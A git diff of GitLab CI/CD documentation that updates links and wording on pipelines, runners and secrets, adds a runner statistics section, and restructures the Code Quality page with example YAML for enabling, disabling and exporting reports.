### Error message `Missing /usr/bin/gitlab-runner-helper. Uploading artifacts is disabled.` diff --git a/doc/ci/pipelines/merge_request_pipelines.md b/doc/ci/pipelines/merge_request_pipelines.md index 714e96d7954..7e18c11f234 100644 --- a/doc/ci/pipelines/merge_request_pipelines.md +++ b/doc/ci/pipelines/merge_request_pipelines.md @@ -20,20 +20,20 @@ Branch pipelines: - Run when you push a new commit to a branch. - Are the default type of pipeline. - Have access to [some predefined variables](../variables/predefined_variables.md). -- Have access to [protected variables](../variables/index.md#protected-cicd-variables) and [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). +- Have access to [protected variables](../variables/index.md#protect-a-cicd-variable) and [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). Merge request pipelines: -- Run when you: +- **Do not run by default**. The jobs in the CI/CD configuration file [must be configured](#prerequisites) + to run in merge request pipelines. +- If configured, merge request pipelines run when you: - Create a new merge request from a source branch with one or more commits. - Push a new commit to the source branch for a merge request. - Select **Run pipeline** from the **Pipelines** tab in a merge request. This option is only available when merge request pipelines are configured for the pipeline and the source branch has at least one commit. -- Do not run by default. The jobs in the CI/CD configuration file [must be configured](#prerequisites) - to run in merge request pipelines. - Have access to [more predefined variables](#available-predefined-variables). -- Do not have access to [protected variables](../variables/index.md#protected-cicd-variables) or [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). +- Do not have access to [protected variables](../variables/index.md#protect-a-cicd-variable) or [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). Both of these types of pipelines can appear on the **Pipelines** tab of a merge request. diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 423ee31dec4..cd696d816d7 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -32,7 +32,7 @@ To change the visibility of your pipelines and related features: When it is selected, pipelines and related features are visible: - For [**Public**](../../user/public_access.md) projects, to everyone. - - For **Internal** projects, to all logged-in users except [external users](../../user/admin_area/external_users.md). + - For **Internal** projects, to all authenticated users except [external users](../../user/admin_area/external_users.md). - For **Private** projects, to all project members (Guest or higher). When it is cleared: @@ -41,7 +41,7 @@ To change the visibility of your pipelines and related features: and the **CI/CD** menu items are visible only to project members (Reporter or higher). Other users, including guest users, can only view the status of pipelines and jobs, and only when viewing merge requests or commits. - - For **Internal** projects, pipelines are visible to all logged in users except [external users](../../user/admin_area/external_users.md). + - For **Internal** projects, pipelines are visible to all authenticated users except [external users](../../user/admin_area/external_users.md). Related features are visible only to project members (Reporter or higher). - For **Private** projects, pipelines and related features are visible to project members (Reporter or higher) only. @@ -343,6 +343,7 @@ Depending on the status of your pipeline, a badge can have the following values: - `passed` - `failed` - `skipped` +- `manual` - `canceled` - `unknown` diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md index 8d71f4569e5..b9e0e39396c 100644 --- a/doc/ci/quick_start/index.md +++ b/doc/ci/quick_start/index.md @@ -138,11 +138,8 @@ For the complete `.gitlab-ci.yml` syntax, see [the full `.gitlab-ci.yml` keyword - Use the [pipeline editor](../pipeline_editor/index.md) to edit your `.gitlab-ci.yml` file. - Each job contains a script section and belongs to a stage: - - The [`default`](../yaml/index.md#default) keyword is for - custom defaults, for example with [`before_script`](../yaml/index.md#before_script) - and [`after_script`](../yaml/index.md#after_script). - [`stage`](../yaml/index.md#stage) describes the sequential execution of jobs. - Jobs in a single stage run in parallel as long as there are available runners. + If there are runners available, jobs in a single stage run in parallel. - Use the [`needs` keyword](../yaml/index.md#needs) to run jobs out of stage order. This creates a [Directed Acyclic Graph (DAG)](../directed_acyclic_graph/index.md). - You can set additional configuration to customize how your jobs and stages perform: @@ -152,6 +149,10 @@ For the complete `.gitlab-ci.yml` syntax, see [the full `.gitlab-ci.yml` keyword - Keep information across jobs and stages persistent in a pipeline with [`cache`](../yaml/index.md#cache) and [`artifacts`](../yaml/index.md#artifacts). These keywords are ways to store dependencies and job output, even when using ephemeral runners for each job. + - Use the [`default`](../yaml/index.md#default) keyword to specify additional + configurations that are applied to all jobs. This keyword is often used to define + [`before_script`](../yaml/index.md#before_script) and [`after_script`](../yaml/index.md#after_script) + sections that should run on every job. ## Related topics diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md index b61e11dd8bc..28a856e3dda 100644 --- a/doc/ci/runners/configure_runners.md +++ b/doc/ci/runners/configure_runners.md @@ -159,7 +159,7 @@ To view the IP address of a shared runner you must have administrator access to the GitLab instance. To determine this: 1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Overview > Runners**. +1. On the left sidebar, select **CI/CD > Runners**. 1. Find the runner in the table and view the **IP Address** column.  @@ -637,13 +637,12 @@ test: - pwd ``` -The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` +The `GIT_CLONE_PATH` must always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) setting. This can only be used when `custom_build_dir` is enabled in the [runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section). -This is the default configuration for the `docker` and `kubernetes` executors. #### Handling concurrency @@ -968,6 +967,24 @@ To determine which runners need to be upgraded: 1. Filter the list by status to view which individual runners need to be upgraded. +## View statistics for runner performance **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/377963) in GitLab 15.8. + +As an administrator, you can view runner statistics to learn about the performance of your runner fleet. + +1. Select **Main menu > Admin**. +1. On the left sidebar, select **CI/CD > Runners**. +1. Select **View metrics**. + +The **Median job queued time** value is calculated by sampling the queue duration of the +most recent 100 jobs that were run by Instance runners. Jobs from only the latest 5000 +runners are considered. + +The median is a value that falls into the 50th percentile: half of the jobs +queued for longer than the median value, and half of the jobs queued for less than the +median value. + ## Authentication token security > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30942) in GitLab 15.3 [with a flag](../../administration/feature_flags.md) named `enforce_runner_token_expires_at`. Disabled by default. diff --git a/doc/ci/runners/saas/linux_saas_runner.md b/doc/ci/runners/saas/linux_saas_runner.md index 61421f86ff5..9c380886812 100644 --- a/doc/ci/runners/saas/linux_saas_runner.md +++ b/doc/ci/runners/saas/linux_saas_runner.md @@ -105,7 +105,7 @@ can be used for: - Downloading assets from a CDN - Any other commands that must run before the `git init` -To use this feature, define a [CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) called +To use this feature, define a [CI/CD variable](../../../ci/variables/index.md) called `CI_PRE_CLONE_SCRIPT` that contains a bash script. NOTE: diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index bfc53210348..ba12508beeb 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -83,7 +83,7 @@ To configure your Vault server: 1. Configure roles on your Vault server, restricting roles to a project or namespace, as described in [Configure Vault server roles](#configure-vault-server-roles) on this page. -1. [Create the following CI/CD variables](../variables/index.md#custom-cicd-variables) +1. [Create the following CI/CD variables](../variables/index.md#for-a-project) to provide details about your Vault server: - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`. Required. @@ -119,7 +119,7 @@ In this example: After GitLab fetches the secret from Vault, the value is saved in a temporary file. The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`, -similar to [variables of type `file`](../variables/index.md#cicd-variable-types). +similar to [variables of type `file`](../variables/index.md#use-file-type-cicd-variables). To overwrite the default behavior, set the `file` option explicitly: diff --git a/doc/ci/secure_files/index.md b/doc/ci/secure_files/index.md index e63b671ad2b..32bc4f2d758 100644 --- a/doc/ci/secure_files/index.md +++ b/doc/ci/secure_files/index.md @@ -7,24 +7,20 @@ type: reference # Project-level Secure Files **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../../administration/feature_flags.md), disabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../../administration/feature_flags.md), disabled by default. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/350748) in GitLab 15.7. -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, -ask an administrator to [enable the feature flag](../../administration/feature_flags.md) -named `ci_secure_files`. Limited to 100 secure files per project. Files must be smaller -than 5 MB. Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/). - -Project-level Secure Files is still in development, but you can: +Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/). +The feature is still in development, but you can: - [Request a feature](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=feature_request). - [Report a bug](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=report_bug). - [Share feedback](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=general_feedback). -You can securely store files for use in CI/CD pipelines as "secure files". These files +You can securely store up to 100 files for use in CI/CD pipelines as "secure files". These files are stored securely outside of your project's repository, and are not version controlled. It is safe to store sensitive information in these files. Secure files support both -plain text and binary file types. +plain text and binary file types, but must be 5 MB or less. You can manage secure files in the project settings, or with the [secure files API](../../api/secure_files.md). diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md index beebaa6d03f..bbd2f822481 100644 --- a/doc/ci/services/index.md +++ b/doc/ci/services/index.md @@ -221,7 +221,7 @@ For this solution to work, you must use You can also pass custom CI/CD [variables](../variables/index.md) to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file. -For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file). ```yaml # The following variables are automatically passed down to the Postgres container diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index 972e9494126..ed16a19c7f5 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -38,7 +38,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) In the following example, the `ssh-add -` command does not display the value of `$SSH_PRIVATE_KEY` in the job log, though it could be exposed if you enable -[debug logging](../variables/index.md#debug-logging). You might also want to +[debug logging](../variables/index.md#enable-debug-logging). You might also want to check the [visibility of your pipelines](../pipelines/settings.md#change-which-users-can-view-your-pipelines). ## SSH keys when using the Docker executor diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md index 8d2788539d8..4088e5e82c6 100644 --- a/doc/ci/test_cases/index.md +++ b/doc/ci/test_cases/index.md @@ -25,9 +25,9 @@ Prerequisite: To create a test case in a GitLab project: 1. Go to **CI/CD > Test Cases**. -1. Select the **New test case** button. You are taken to the new test case form. Here you can enter +1. Select **New test case**. You are taken to the new test case form. Here you can enter the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md). -1. Select the **Submit test case** button. You are taken to view the new test case. +1. Select **Submit test case**. You are taken to view the new test case. ## View a test case @@ -73,7 +73,7 @@ Prerequisite: - You must have at least the Reporter role. -To archive a test case, on the test case's page, select the **Archive test case** button. +To archive a test case, on the test case's page, select **Archive test case**. To view archived test cases: diff --git a/doc/ci/testing/code_quality.md b/doc/ci/testing/code_quality.md index 8e1c3d72d3d..2a1dffe07fc 100644 --- a/doc/ci/testing/code_quality.md +++ b/doc/ci/testing/code_quality.md @@ -8,157 +8,120 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. -To ensure your project's code stays simple, readable, and easy to contribute to, -you can use [GitLab CI/CD](../index.md) to analyze your source code quality. +Use Code Quality to analyze your source code's quality and complexity. This helps keep your +project's code simple, readable, and easier to maintain. Code Quality should supplement your +other review processes, not replace them. -For example, while you're implementing a feature, you can run Code Quality reports -to analyze how your improvements are impacting your code's quality. You can -use this information to ensure that your changes are improving performance rather -than degrading it. +Code Quality uses the open source Code Climate tool, and selected +[plugins](https://docs.codeclimate.com/docs/list-of-engines), to analyze your source code. +To confirm if your code's languages are covered, see the Code Climate list of +[Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability). +You can extend the code coverage either by using Code Climate +[Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a +[custom tool](#implement-a-custom-tool). -Code Quality: +Run Code Quality reports in your CI/CD pipeline to verify changes don't degrade your code's quality, +_before_ committing them to the default branch. -- Uses [plugins](https://docs.codeclimate.com/docs/list-of-engines) supported by Code Climate, which are - free and open source. Code Quality does not require a Code Climate - subscription. -- Runs in [pipelines](../pipelines/index.md) by using a Docker image built in the - [GitLab Code Quality](https://gitlab.com/gitlab-org/ci-cd/codequality) project. -- Uses [default Code Climate configurations](https://gitlab.com/gitlab-org/ci-cd/codequality/-/tree/master/codeclimate_defaults). -- Can make use of a [template](#example-configuration). -- Is available by using [Auto Code Quality](../../topics/autodevops/stages.md#auto-code-quality), provided by [Auto DevOps](../../topics/autodevops/index.md). -- Can be extended through [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a [custom tool](#implementing-a-custom-tool). - -## Summary of features per tier +## Features per tier Different features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), as shown in the following table: -| Capability | In Free | In Premium | In Ultimate | -|:----------------------------------------------------------------------|:--------------------|:--------------------|:-------------------| -| [Configure scanners](#configuring-jobs-using-variables) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [Integrate custom scanners](#implementing-a-custom-tool) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [Generate JSON or HTML report artifacts](#generate-an-html-report) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [See findings in merge request widget](#code-quality-widget) | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| [See reports in CI pipelines](#code-quality-reports) | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | -| [See findings in merge request diff view](#code-quality-in-diff-view) | **{dotted-circle}** | **{dotted-circle}** | **{check-circle}** | +| Capability | In Free | In Premium | In Ultimate | +|:-----------------------------------------------------------------------|:--------------------|:--------------------|:-------------------| +| [Configure scanners](#customizing-scan-settings) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [Integrate custom scanners](#implement-a-custom-tool) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [See findings in merge request widget](#merge-request-widget) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [Generate JSON or HTML report artifacts](#output) | **{check-circle}** | **{check-circle}** | **{check-circle}** | +| [See reports in CI pipelines](#pipeline-details-view) | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | +| [See findings in merge request diff view](#merge-request-changes-view) | **{dotted-circle}** | **{dotted-circle}** | **{check-circle}** | -## Code Quality Widget +## View Code Quality results -> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. +Code Quality results are shown in the: -Going a step further, GitLab can show the Code Quality report right -in the merge request widget area if a report from the target branch is available to compare to: +- Merge request widget +- Merge request changes view +- Pipeline details view - +### Merge request widget -Watch a quick walkthrough of Code Quality in action: - -<div class="video-fallback"> - See the video: <a href="https://www.youtube.com/watch?v=B32LxtJKo9M">Code Quality: Speed Run</a>. -</div> -<figure class="video-container"> - <iframe src="https://www.youtube.com/embed/B32LxtJKo9M" frameborder="0" allowfullscreen="true"> </iframe> -</figure> +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. -NOTE: -For one customer, the auditor found that having Code Quality, SAST, and Container Scanning all automated in GitLab CI/CD was almost better than a manual review! [Read more](https://about.gitlab.com/customers/bi_worldwide/). +Code Quality analysis results display in the merge request widget area if a report from the target +branch is available for comparison. -See also the Code Climate list of [Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability). + -## Code Quality in diff view **(ULTIMATE)** +### Merge request changes view **(ULTIMATE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in GitLab 13.11, disabled by default behind the `codequality_mr_diff` [feature flag](../../administration/feature_flags.md). > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 13.12. > - [Disabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) in GitLab 14.0 due to [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/334116). > - [Inline annotation added](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) and [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 14.1. -> - [Updated](https://gitlab.com/groups/gitlab-org/-/epics/8071) to handle multiple findings better in GitLab 15.7, disabled by default behind the `refactor_code_quality_inline_findings` [feature flag](../../administration/feature_flags.md). - -Changes to files in merge requests can cause Code Quality to fall if merged. In these cases, -the merge request's diff view displays an indicator next to lines with new Code Quality violations. For example: - - - -## Example configuration -This example shows how to run Code Quality on your code by using GitLab CI/CD and Docker. +Code Quality results display in the merge request **Changes** view. Lines containing Code Quality +issues are marked by an indicator beside the gutter. Hover over the marker for details of the issue. -- Using shared runners, the job should be configured For the [Docker-in-Docker workflow](../docker/using_docker_build.md#use-docker-in-docker). -- Using private runners, there is an [alternative configuration](#set-up-a-private-runner-for-code-quality-without-docker-in-docker) recommended for running Code Quality analysis more efficiently. + -In either configuration, the runner must have enough disk space to handle generated Code Quality files. For example on the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. +### Pipeline details view **(PREMIUM)** -Once you set up GitLab Runner, include the [Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml) in your CI configuration: +The full list of Code Quality violations generated by a pipeline is shown in the **Code Quality** +tab of the pipeline's details page. -```yaml -include: - - template: Code-Quality.gitlab-ci.yml -``` - -The above example creates a `code_quality` job in your CI/CD pipeline which -scans your source code for code quality issues. The report is saved as a -[Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality) -that you can later download and analyze. - -It's also possible to override the URL to the Code Quality image by -setting the `CODE_QUALITY_IMAGE` CI/CD variable. This is particularly useful if you want -to lock in a specific version of Code Quality, or use a fork of it: - -```yaml -include: - - template: Code-Quality.gitlab-ci.yml + -code_quality: - variables: - CODE_QUALITY_IMAGE: "registry.example.com/codequality-fork:latest" -``` +## Enable Code Quality -In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), you can override the [Code Quality environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables): +Prerequisites: -```yaml -variables: - TIMEOUT_SECONDS: 1 +- GitLab CI/CD configuration (`.gitlab-ci.yml`) must include the `test` stage. +- If you're using shared runners, the Code Quality job must be configured for the + [Docker-in-Docker workflow](../docker/using_docker_build.md#use-docker-in-docker). +- If you're using private runners, you should use an + [alternative configuration](#improve-code-quality-performance-with-private-runners) + recommended for running Code Quality analysis more efficiently. +- The runner must have enough disk space to store the generated Code Quality files. For example, on + the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. -include: - - template: Code-Quality.gitlab-ci.yml -``` +To enable Code Quality, either: -By default, report artifacts are not downloadable. If you need them downloadable on the -job details page, you can add `gl-code-quality-report.json` to the artifact paths like so: +- Enable [Auto DevOps](../../topics/autodevops/index.md), which includes + [Auto Code Quality](../../topics/autodevops/stages.md#auto-secret-detection). -```yaml -include: - - template: Code-Quality.gitlab-ci.yml +- Include the Code Quality template in your + `.gitlab-ci.yml` file. -code_quality: - artifacts: - paths: [gl-code-quality-report.json] -``` - -The included `code_quality` job is running in the `test` stage, so it needs to be included in your CI configuration, like so: + Example: -```yaml -stages: - - test -``` + ```yaml + include: + - template: Code-Quality.gitlab-ci.yml + ``` -NOTE: -This information is automatically extracted and shown right in the merge request widget. + Code Quality now runs in pipelines. WARNING: -On self-managed instances, if a malicious actor compromises the Code Quality job -definition they could execute privileged Docker commands on the runner -host. Having proper access control policies mitigates this attack vector by -allowing access only to trusted actors. +On self-managed instances, if a malicious actor compromises the Code Quality job definition they +could execute privileged Docker commands on the runner host. Having proper access control policies +mitigates this attack vector by allowing access only to trusted actors. + +### Improve Code Quality performance with private runners -### Set up a private runner for code quality without Docker-in-Docker +If you have private runners, you should use this configuration for improved performance of Code +Quality because: -It's possible to configure your own runners and avoid Docker-in-Docker. You can use a -configuration that may greatly speed up job execution without requiring your runners -to operate in privileged mode. +- Privileged mode is not used. +- Docker-in-Docker is not used. +- Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs. This alternative configuration uses socket binding to share the Runner's Docker daemon -with the job environment. Be aware that this configuration [has significant considerations](../docker/using_docker_build.md#use-docker-socket-binding) -to be consider, but may be preferable depending on your use case. +with the job environment. Before implementing this configuration, consider its +[limitations](../docker/using_docker_build.md#use-docker-socket-binding). + +To use private runners: 1. Register a new runner: @@ -223,73 +186,136 @@ to be consider, but may be preferable depending on your use case. - cq-sans-dind # Set this job to only run on our new specialized runner ``` -The end result is that: +Code Quality now runs in standard Docker mode. -- Privileged mode is not used. -- Docker-in-Docker is not used. -- Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs. +## Disable Code Quality -With this configuration, the run time for a second pipeline is much shorter. For example -this [small change](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/diffs?commit_id=1e705607aef7236c1b20bb6f637965f3f3e53a46) -to an [open merge request](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/pipelines) -running Code Quality analysis ran significantly faster the second time: +The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable +is present. Refer to the CI/CD variables [documentation](../variables/index.md) +to learn more about how to define one. - +To disable Code Quality, create a custom CI/CD variable named `CODE_QUALITY_DISABLED`, for either: -This configuration is not possible on `gitlab.com` shared runners. Shared runners -are configured with `privileged=true`, and they do not expose `docker.sock` into -the job container. As a result, socket binding cannot be used to make `docker` available -in the context of the job script. +- [The whole project](../variables/index.md#for-a-project). +- [A single pipeline](../variables/index.md#override-a-variable-when-running-a-pipeline-manually). -[Docker-in-Docker](../docker/using_docker_build.md#use-docker-in-docker) -was chosen as an operational decision by the runner team, instead of exposing `docker.sock`. +## Customizing scan settings -### Disabling the code quality job +The Code Quality scan settings can be changed using [CI/CD variables](#available-cicd-variables) +in `.gitlab-ci.yml`. -The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable -is present. Please refer to the CI/CD variables [documentation](../variables/index.md) -to learn more about how to define one. +To configure the Code Quality job: + +1. Declare a job with the same name as the Code Quality job, after the template's inclusion. +1. Specify additional keys in the job's stanza. -To disable the `code_quality` job, add `CODE_QUALITY_DISABLED` as a custom CI/CD variable. -This can be done: +For an example, see [Download output in JSON format](#download-output-in-json-format). -- For [the whole project](../variables/index.md#custom-cicd-variables). -- For a single pipeline run: +### Available CI/CD variables - 1. Go to **CI/CD > Pipelines** - 1. Select **Run pipeline** - 1. Add `CODE_QUALITY_DISABLED` as the variable key, with any value. +> In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), the option to override the Code Quality environment variables was added. -### Using with merge request pipelines +Code Quality can be customized by defining available CI/CD variables: -The configuration provided by the Code Quality template does not let the `code_quality` job -run on [merge request pipelines](../pipelines/merge_request_pipelines.md). +| CI/CD variable | Description | +| --------------------------- | ----------- | +| `SOURCE_CODE` | Path to the source code to scan. | +| `TIMEOUT_SECONDS` | Custom timeout for the `codeclimate analyze` command. | +| `CODECLIMATE_DEBUG` | Set to enable [Code Climate debug mode](https://github.com/codeclimate/codeclimate#environment-variables) | +| `CODECLIMATE_DEV` | Set to enable `--dev` mode which lets you run engines not known to the CLI. | +| `REPORT_STDOUT` | Set to print the report to `STDOUT` instead of generating the usual report file. | +| `REPORT_FORMAT` | Set to control the format of the generated report file. One of: `json\|html`. | +| `ENGINE_MEMORY_LIMIT_BYTES` | Set the memory limit for engines, default is 1,024,000,000 bytes. | +| `CODE_QUALITY_DISABLED` | Prevents the Code Quality job from running. | +| `CODECLIMATE_PREFIX` | Set a prefix to use with all `docker pull` commands in CodeClimate engines. Useful for [offline scanning](https://github.com/codeclimate/codeclimate/pull/948). | -If merge request pipelines is enabled, the `code_quality:rules` must be redefined. +## Output -The template has these [`rules`](../yaml/index.md#rules) for the `code quality` job: +Code Quality creates a file named `gl-code-quality-report.json`. The content of this file is +processed internally and the results shown in the UI. To see the raw results, you can +configure the Code Quality job to allow download of this file. Format options are JSON format, HTML +format, or both. Use the HTML format to view the report in a more human-readable +format. For example, you could publish the HTML format file on GitLab Pages for even easier +reviewing. + +### Download output in JSON format + +To be able to download the Code Quality report in JSON format, declare the +`gl-code-quality-report.json` file as an artifact of the `code_quality` job: ```yaml +include: + - template: Code-Quality.gitlab-ci.yml + code_quality: - rules: - - if: $CODE_QUALITY_DISABLED - when: never - - if: $CI_COMMIT_TAG || $CI_COMMIT_BRANCH + artifacts: + paths: [gl-code-quality-report.json] ``` -If you are using merge request pipelines, your `rules` (or [`workflow: rules`](../yaml/index.md#workflow)) -might look like this example: +The full JSON file is available as a +[downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +### Download output in JSON and HTML format + +> HTML report format [introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10) in GitLab 13.6. + +NOTE: +To create the HTML format file, the Code Quality job must be run twice, once for each format. +In this configuration, the JSON format file is created but it is only processed internally. + +To be able to download the Code Quality report in both JSON and HTML format, add another job to your +template by using `extends: code_quality`: ```yaml -job1: - rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" # Run job1 in merge request pipelines - - if: $CI_COMMIT_BRANCH == "main" # Run job1 in pipelines on the main branch (but not in other branch pipelines) - - if: $CI_COMMIT_TAG # Run job1 in pipelines for tags +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality_html: + extends: code_quality + variables: + REPORT_FORMAT: html + artifacts: + paths: [gl-code-quality-report.html] ``` -To make these work together, you need to overwrite the code quality `rules` -so that they match your current `rules`. From the example above, it could look like: +Both the JSON and HTML files are available as +[downloadable artifacts](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +### Download output in only HTML format + +To download the Code Quality report in _only_ an HTML format file, set `REPORT_FORMAT` to `html` in +the existing job. + +NOTE: +This does not create a JSON format file, so Code Quality results are not shown in the +merge request widget, pipeline report, or changes view. + +```yaml +include: + - template: Code-Quality.gitlab-ci.yml + +code_quality: + variables: + REPORT_FORMAT: html + artifacts: + paths: [gl-code-quality-report.html] +``` + +The HTML file is available as a +[downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality` +job. + +## Use Code Quality with merge request pipelines + +The default Code Quality configuration does not allow the `code_quality` job to run on +[merge request pipelines](../pipelines/merge_request_pipelines.md). + +To enable Code Quality to run on merge request pipelines, overwrite the code quality `rules`, +or [`workflow: rules`](../yaml/index.md#workflow), so that they match your current `rules`. + +For example: ```yaml include: @@ -304,14 +330,13 @@ code_quality: - if: $CI_COMMIT_TAG # Run code quality job in pipelines for tags ``` -### Configure Code Quality to use a private container image registry +## Use a private container image registry -> [Introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/merge_requests/30) in 13.7. +> [Introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/merge_requests/30) in GitLab 13.7. -To reduce network time and external dependency, you can use your own -container image registry to host the Code Quality Docker images. Because of -the nested architecture of container execution, the registry prefix must -be specifically configured to be passed down into CodeClimate's subsequent +Using a private container image registry can reduce the time taken to download images, and also +reduce external dependencies. Because of the nested architecture of container execution, the +registry prefix must be specifically configured to be passed down into CodeClimate's subsequent `docker pull` commands for individual engines. The following variables can address all of the required image pulls: @@ -320,7 +345,8 @@ The following variables can address all of the required image pulls: accessible from your job environment. GitLab Container Registry can be used here to host your own copy. - `CODECLIMATE_PREFIX`: The domain of your intended container image registry. This - is a configuration option supported by [CodeClimate CLI](https://github.com/codeclimate/codeclimate/pull/948). You must: + is a configuration option supported by [CodeClimate CLI](https://github.com/codeclimate/codeclimate/pull/948). + You must: - Include a trailing slash (`/`). - Not include a protocol prefix, such as `https://`. - `CODECLIMATE_REGISTRY_USERNAME`: An optional variable to specify the username for the registry domain parsed from `CODECLIMATE_PREFIX`. @@ -328,7 +354,7 @@ The following variables can address all of the required image pulls: ```yaml include: - - template: Jobs/Code-Quality.gitlab-ci.yml + - template: Code-Quality.gitlab-ci.yml code_quality: variables: @@ -336,13 +362,13 @@ code_quality: CODECLIMATE_PREFIX: "my-private-registry.local:12345/" ``` -This example is specific to GitLab Code Quality. For more general -instructions on how to configure DinD with a registry mirror, see the -relevant [documentation](../docker/using_docker_build.md#enable-registry-mirror-for-dockerdind-service). +This example is specific to GitLab Code Quality. For more general instructions on how to configure +DinD with a registry mirror, see +[Enable registry mirror for Docker-in-Docker service](../docker/using_docker_build.md#enable-registry-mirror-for-dockerdind-service). -#### List of images to be stored in the private container registry +### Required images -The following images are needed for the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template): +The following images are required for the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template): - `codeclimate/codeclimate-structure:latest` - `codeclimate/codeclimate-csslint:latest` @@ -354,30 +380,22 